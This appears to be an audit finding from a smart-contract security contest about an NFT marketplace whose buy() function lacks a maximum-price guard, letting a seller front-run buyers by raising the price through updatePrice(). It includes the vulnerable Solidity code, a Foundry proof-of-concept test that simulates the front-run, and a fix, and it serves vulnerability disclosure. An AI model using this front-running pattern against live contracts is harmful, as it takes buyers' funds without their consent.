NFT Dealers

First Flight #58
Beginner FriendlyFoundry
100 EXP
Submission Details
Impact: high
Likelihood: high

Seller Can Front-Run Buyers via updatePrice to Extract More USDC

Author Revealed upon completion

Seller Can Front-Run Buyers via updatePrice to Extract More USDC

Description

buy() reads listing.price directly from storage at execution time and transfers that exect amount from the buyer. There is no mechanism for the buyer to specify a maximum acceptable price. Because updatePrice() is unrestricted in timing, a seller can observe a pending buy() transaction in the mempool and front-run it with a higher price resulting in buyer paying the inflated price without concent.

// updatePrice() — no timing lock, callable at any moment during an active listing
function updatePrice(uint256 _listingId, uint32 _newPrice) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
uint256 oldPrice = listing.price;
if (!listing.isActive) revert ListingNotActive(_listingId);
require(_newPrice > 0, "Price must be greater than 0");
// @> price silently updated in storage before buy() executes
s_listings[_listingId].price = _newPrice;
emit NFT_Dealers_Price_Updated(_listingId, oldPrice, _newPrice);
}
// buy() — reads price at execution time, no maxPrice parameter
function buy(uint256 _listingId) external payable {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller != msg.sender, "Seller cannot buy their own NFT");
// @> transfers whatever price is in storage — buyer has no slippage protection
bool success = usdc.transferFrom(msg.sender, address(this), listing.price);
require(success, "USDC transfer failed");
_safeTransfer(listing.seller, msg.sender, listing.tokenId, "");
s_listings[_listingId].isActive = false;
}

Risk

Likelihood: High

  • Buyers routinely approve large of unlimited USDC allows to avoid repeated approvals, making this trivially exploitable without any additional setup on the attacker's side.

  • Any seller with an active listing can front-run every incoming buy() - no special privileges, no contract state required beyond being the listing owner.

Impact: High

  • The buyer pays more USDC than the price they agreed to, with no recourse - the trade is final and irreversible.

  • The excess USDC is locked in the contract as part of the seller's proceeds, effectively stolen from the buyer.

Proof of Concept

function test_FrontRunningBuyers() public {
// Initialize test
vm.startBroadcast(owner);
nftDealers.whitelistWallet(seller);
nftDealers.revealCollection();
vm.stopBroadcast();
// Assert state after initialization
assertEq(nftDealers.whitelistedUsers(seller), true);
assertEq(nftDealers.isCollectionRevealed(), true);
// Mint
vm.startBroadcast(seller);
usdc.approve(address(nftDealers), USDC_COLLATERAL);
nftDealers.mintNft();
vm.stopBroadcast();
// Assert state after mint
uint256 tokenId = 1;
assertEq(nftDealers.ownerOf(tokenId), seller);
assertEq(nftDealers.collateralForMinting(tokenId), USDC_COLLATERAL);
assertEq(usdc.balanceOf(address(nftDealers)), INITIAL_USER_BALANCE + USDC_COLLATERAL);
assertEq(usdc.balanceOf(seller), INITIAL_USER_BALANCE - USDC_COLLATERAL);
// List NFT
uint32 sellingPrice = 40e6;
vm.prank(seller);
nftDealers.list(tokenId, sellingPrice);
// Assert state after list
(address _seller, uint32 _price, address _nft, uint256 _tokenId, bool _isActive) =
nftDealers.s_listings(tokenId);
assertEq(_seller, seller);
assertEq(_price, sellingPrice);
assertEq(_nft, address(nftDealers));
assertEq(_tokenId, tokenId);
assertEq(_isActive, true);
assertEq(nftDealers.ownerOf(tokenId), seller);
// Buyer approving amount for buying several NFTs
vm.prank(buyer);
usdc.approve(address(nftDealers), type(uint32).max);
// Update the listing price - Front run simulation
uint32 doublePrice = sellingPrice * 2;
vm.prank(seller);
nftDealers.updatePrice(tokenId, doublePrice);
// Buy the NFT listing
vm.prank(buyer);
nftDealers.buy(tokenId);
// Assert state after trade succeeds
assertEq(nftDealers.ownerOf(tokenId), buyer);
// How much they thought they are buying
assertLt(usdc.balanceOf(buyer), INITIAL_USER_BALANCE - sellingPrice);
// How much they actually bought it
assertEq(usdc.balanceOf(buyer), INITIAL_USER_BALANCE - doublePrice);
}

Recommended Mitigation

Add a maxPrice parameter to buy() and revert if the stored price exceeds it, giving buyers slippage protection equivalent to AMM deadline/slippage guards.

- function buy(uint256 _listingId) external payable {
+ function buy(uint256 _listingId, uint32 _maxPrice) external payable {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller != msg.sender, "Seller cannot buy their own NFT");
+ require(listing.price <= _maxPrice, "Price exceeds maximum acceptable price");
bool success = usdc.transferFrom(msg.sender, address(this), listing.price);
require(success, "USDC transfer failed");
_safeTransfer(listing.seller, msg.sender, listing.tokenId, "");
s_listings[_listingId].isActive = false;
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!